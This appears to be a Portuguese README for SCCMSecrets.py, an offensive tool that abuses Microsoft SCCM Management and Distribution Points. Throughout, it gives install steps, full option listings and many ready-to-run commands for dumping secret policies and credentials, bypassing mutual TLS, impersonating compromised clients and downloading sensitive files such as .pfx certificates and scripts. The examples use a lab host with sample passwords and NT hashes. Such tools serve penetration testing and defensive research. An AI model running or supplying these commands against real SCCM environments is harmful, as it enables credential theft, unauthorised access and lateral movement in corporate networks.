
SCCMSecrets.py visa explorar a distribuição de políticas do SCCM para coleta de credenciais, acesso inicial e movimento lateral.
O SCCMSecrets.py é uma ferramenta de exploração de políticas do SCCM. Ele vai além da extração de credenciais NAA e tem como objetivo fornecer uma abordagem abrangente para a exploração de políticas do SCCM. A ferramenta pode ser executada a partir de vários níveis de privilégio e tentará identificar possíveis más configurações relacionadas à distribuição de políticas. Mais detalhes sobre a ferramenta e seu uso estão disponíveis no artigo associado: https://www.synacktiv.com/publications/sccmsecretspy-exploiting-sccm-policies-distribution-for-credentials-harvesting-initial
Dois subcomandos estão disponíveis: policies e files.
Este subcomando interage com um Management Point do SCCM para extrair o conteúdo de todas as políticas secretas (incluindo configuração NAA, sequências de tarefas contendo credenciais ou variáveis de coleção). Para isso, é necessário um dispositivo SCCM aprovado, que pode ser obtido de três maneiras.
--altauth, o SCCMSecrets explorará um endpoint de autenticação alternativo, permitindo contornar os requisitos de mTLS e obter um dispositivo aprovado sem credenciais e sem depender da má configuração de aprovação automática de dispositivos (mais informações aqui). Isso só funciona quando o MP está configurado para usar HTTPS E o site do SCCM está configurado para impor HTTPS em todo o site (se o MP estiver usando HTTPS, mas o site permitir HTTP ou HTTPS, os dispositivos não são aprovados automaticamente).--use-existing-device). Este argumento espera um diretório contendo o arquivo guid.txt (GUID do dispositivo) e o arquivo key.pem (chave privada do dispositivo). Pode ser um dispositivo criado por uma execução anterior do SCCMSecrets ou o correspondente a um cliente SCCM legítimo comprometido.Observe que as políticas do SCCM estão associadas a coleções. Registrar um novo dispositivo colocará esse dispositivo nas coleções padrão - portanto, apenas políticas secretas das coleções padrão serão recuperadas. É por isso que se passar por um cliente SCCM legítimo comprometido usando --use-existing-device pode ser interessante. De fato, esse cliente legítimo pode fazer parte de coleções personalizadas associadas a políticas secretas adicionais.
A saída será colocada em um subdiretório do diretório loot (formato: [timestamp]_policies).
$ python3 SCCMSecrets.py policies -h
Usage: SCCMSecrets.py policies [OPTIONS]
Dump secret policies from an SCCM Management Point
╭─ Options ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│ * --management-point -mp TEXT The client's SCCM management point. Expects either a URL, or a hostname/IP (defaults to HTTP in the latter case) [required] │
│ * --client-name -cn TEXT [Optional] The name of the client that will be created in SCCM - or a random name if using an existing device [required] │
│ --machine-name -u TEXT [Optional] A machine account name. If not provided, SCCMSecrets will try to exploit automatic device approval │
│ --machine-pass -p TEXT [Optional] The password for the machine account │
│ --machine-hash -H TEXT [Optional] The NT hash for the machine account │
│ --registration-sleep -rs INTEGER [Optional] The amount of time, in seconds, that should be waited after registrating a new device. A few minutes is recommended so that the new device can be added to │
│ device collections (3 minutes by default, may need to be increased) │
│ [default: 180] │
│ --use-existing-device -d TEXT [Optional] This option can be used to re-run SCCMSecrets.py using a previously registered device ; or to impersonate a legitimate SCCM client. In both cases, it │
│ expects the path of a folder containing a guid.txt file (the SCCM device GUID) and the key.pem file (the client's private key). Note that a client-name value must also │
│ be provided to SCCMSecrets (but does not have to match the one of the existing device) │
│ --pki-cert -c TEXT [Optional] The path to a valid domain PKI certificate in PEM format. Required when the Management Point enforces HTTPS and thus client certificate authentication │
│ --pki-key -k TEXT [Optional] The path to the private key of the certificate in PEM format │
│ --altauth -a [Optional] Use the MP's alternate authentication endpoint. This endpoint bypasses mutual TLS requirements, and automatically approves devices registered through it. It │
│ only works when the MP uses HTTPS AND HTTPS is enforced site-wide │
│ --verbose -v [Optional] Enable verbose output │
│ --help -h Show this message and exit. │
╰─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
Este subcomando indexará os arquivos armazenados em um Distribution Point e baixará os interessantes. O SCCMSecrets primeiro tentará identificar se o acesso anônimo está habilitado (não padrão). Se for o caso, os arquivos podem ser indexados e baixados sem autenticação. Caso contrário, serão necessárias credenciais de domínio.
É possível baixar arquivos por extensão. O SCCMSecrets indexará os arquivos de todos os pacotes hospedados no Distribution Point (resultando em um arquivo index.txt no formato tree do Unix) e baixará os arquivos com as extensões especificadas. Ao fornecer uma lista vazia de extensões, apenas a indexação de arquivos será realizada.
Em ambos os casos, a partir do arquivo de índice gerado, é possível usar a flag --urls para baixar arquivos específicos de interesse (sem reindexar).
Observe que os requisitos de mTLS, se implementados, podem ser contornados fornecendo a flag --nocert.
A saída será colocada em um subdiretório do diretório loot (formato: [timestamp]_files).
$ python3 SCCMSecrets.py files --help
Usage: SCCMSecrets.py files [OPTIONS]
Dump interesting files from an SCCM Distribution Point
╭─ Options ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│ * --distribution-point -dp TEXT An SCCM distribution point. Expects either a URL, or a hostname/IP (defaults to HTTP in the latter case) [required] │
│ --username -u TEXT [Optional] A username for a domain account. If no account is provided, SCCMSecrets will try to exploit anonymous DP access │
│ --password -p TEXT [Optional] The password for the domain account │
│ --hash -H TEXT [Optional] The NT hash for the domain account (e.g. A4F49C406510BDCAB6824EE7C30FD852) │
│ --extensions -e TEXT [Optional] Comma-separated list of extension that will determine which files will be downloaded when retrieving packages scripts. Provide an empty string to not │
│ download anything, and only index files │
│ [default: .ps1, .bat, .xml, .txt, .pfx] │
│ --urls -f TEXT [Optional] A file containing a list of URLs (one per line) that should be downloaded from the Distribution Point. This is useful if you already indexed files and do not │
│ want to download by extension, but rather specific known files │
│ --max-recursion -r INTEGER [Optional] The maximum recursion depth when indexing files from the Distribution Point [default: 10] │
│ --pki-cert -c TEXT [Optional] The path to a valid domain PKI certificate in PEM format. Required when the Distribution Point enforces HTTPS and thus client certificate authentication │
│ --pki-key -k TEXT [Optional] The path to the private key of the certificate in PEM format │
│ --nocert -n [Optional] Use the DP's nocert endpoint. This endpoint bypasses mutual TLS requirements │
│ --verbose -v [Optional] Enable verbose output │
│ --help -h Show this message and exit. │
╰─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
Por padrão, os clientes podem interagir com seu Management Point ou Distribution Point usando HTTP simples. No entanto, a instalação do SCCM pode ser configurada de forma mais segura impondo o uso de HTTPS. Quando este é o caso (para o Management Point, o Distribution Point ou ambos), o SCCM exigirá autenticação por certificado de cliente usando um certificado PKI interno com a finalidade de "autenticação de cliente".
Ainda é possível realizar os ataques apresentados acima - no entanto, um certificado PKI válido deve ser fornecido por meio das flags --pki-cert e --pki-key (formato PEM). As URLs do Management Point / Distribution Point também devem ser prefixadas com https://.
Observe que as flags --altauth (para políticas) e --nocert (para arquivos) fornecem maneiras de contornar a autenticação mTLS (mais informações aqui).
Você pode instalar o SCCMSecrets.py clonando o repositório e instalando as dependências.
$ git clone https://github.com/synacktiv/SCCMSecrets
$ cd SCCMSecrets
$ python3 -m venv .venv && source .venv/bin/activate
$ python3 -m pip install -r requirements.txt
Abaixo estão alguns exemplos de comandos.
Recupere políticas secretas sem fornecer uma conta de máquina. Isso tentará explorar a má configuração de aprovação automática de dispositivos (configuração não padrão)
$ python3 SCCMSecrets.py policies -mp http://mecm.sccm.lab -cn 'test'
Recupere políticas secretas fornecendo uma conta de máquina. Isso funcionará em configurações padrão do SCCM
$ python3 SCCMSecrets.py policies -mp http://mecm.sccm.lab -u 'azule$' -p 'Password123!' -cn 'test'
Recupere políticas secretas de um dispositivo já existente. A pasta compromised_device contém um arquivo guid.txt e key.pem.
$ python3 SCCMSecrets.py policies -mp http://mecm.sccm.lab --use-existing-device compromised_device/
Recupere políticas secretas quando o Management Point impõe HTTPS
$ python3 SCCMSecrets.py policies -mp https://mecm.sccm.lab -u 'azule$' -H '2B576ACBE6BCFDA7294D6BD18041B8FE' -cn 'test' --pki-cert ./cert.pem --pki-key ./key.pem
Recupere políticas secretas usando o endpoint de autenticação alternativo, permitindo contornar a autenticação mTLS e obter um dispositivo aprovado sem fornecer credenciais (mais informações aqui). Só funciona quando o MP usa HTTPS e o HTTPS é imposto em todo o site
$ python3 SCCMSecrets.py policies -mp https://mecm.sccm.lab -cn 'test' --altauth
Recupere arquivos do Distribution Point sem fornecer credenciais. Isso tentará explorar o acesso anônimo ao DP (configuração não padrão)
$ python3 SCCMSecrets files -dp http://mecm.sccm.lab
Recupere arquivos do Distribution Point com credenciais. Isso funcionará em configurações padrão do SCCM
$ python3 SCCMSecrets.py files -dp http://mecm.sccm.lab -u 'dave' -p 'dragon'
Recupere arquivos com uma lista específica de extensões. Autentique com o hash da conta de máquina
$ python3 SCCMSecrets.py files -dp http://mecm.sccm.lab -u 'dave' -H 'F7EB9C06FAFAA23C4BCF22BA6781C1E2' --extensions '.txt,.xml,.ps1,.pfx,.ini,.conf'
Recupere arquivos específicos do Distribution Point fornecendo uma lista de URLs (1 por linha)
$ python3 SCCMSecrets.py files -dp http://mecm.sccm.lab -u 'dave' -p 'dragon' --urls to_download.lst
Recupere arquivos do DP quando o Distribution Point impõe HTTPS
$ python3 SCCMSecrets.py files -dp https://mecm.sccm.lab -u 'dave' -p 'dragon' --pki-cert ./cert.pem --pki-key ./key.pem
Contorne a autenticação mTLS quando o Distribution Point impõe HTTPS
$ python3 SCCMSecrets.py files -dp https://mecm.sccm.lab -u 'dave' -p 'dragon' --nocert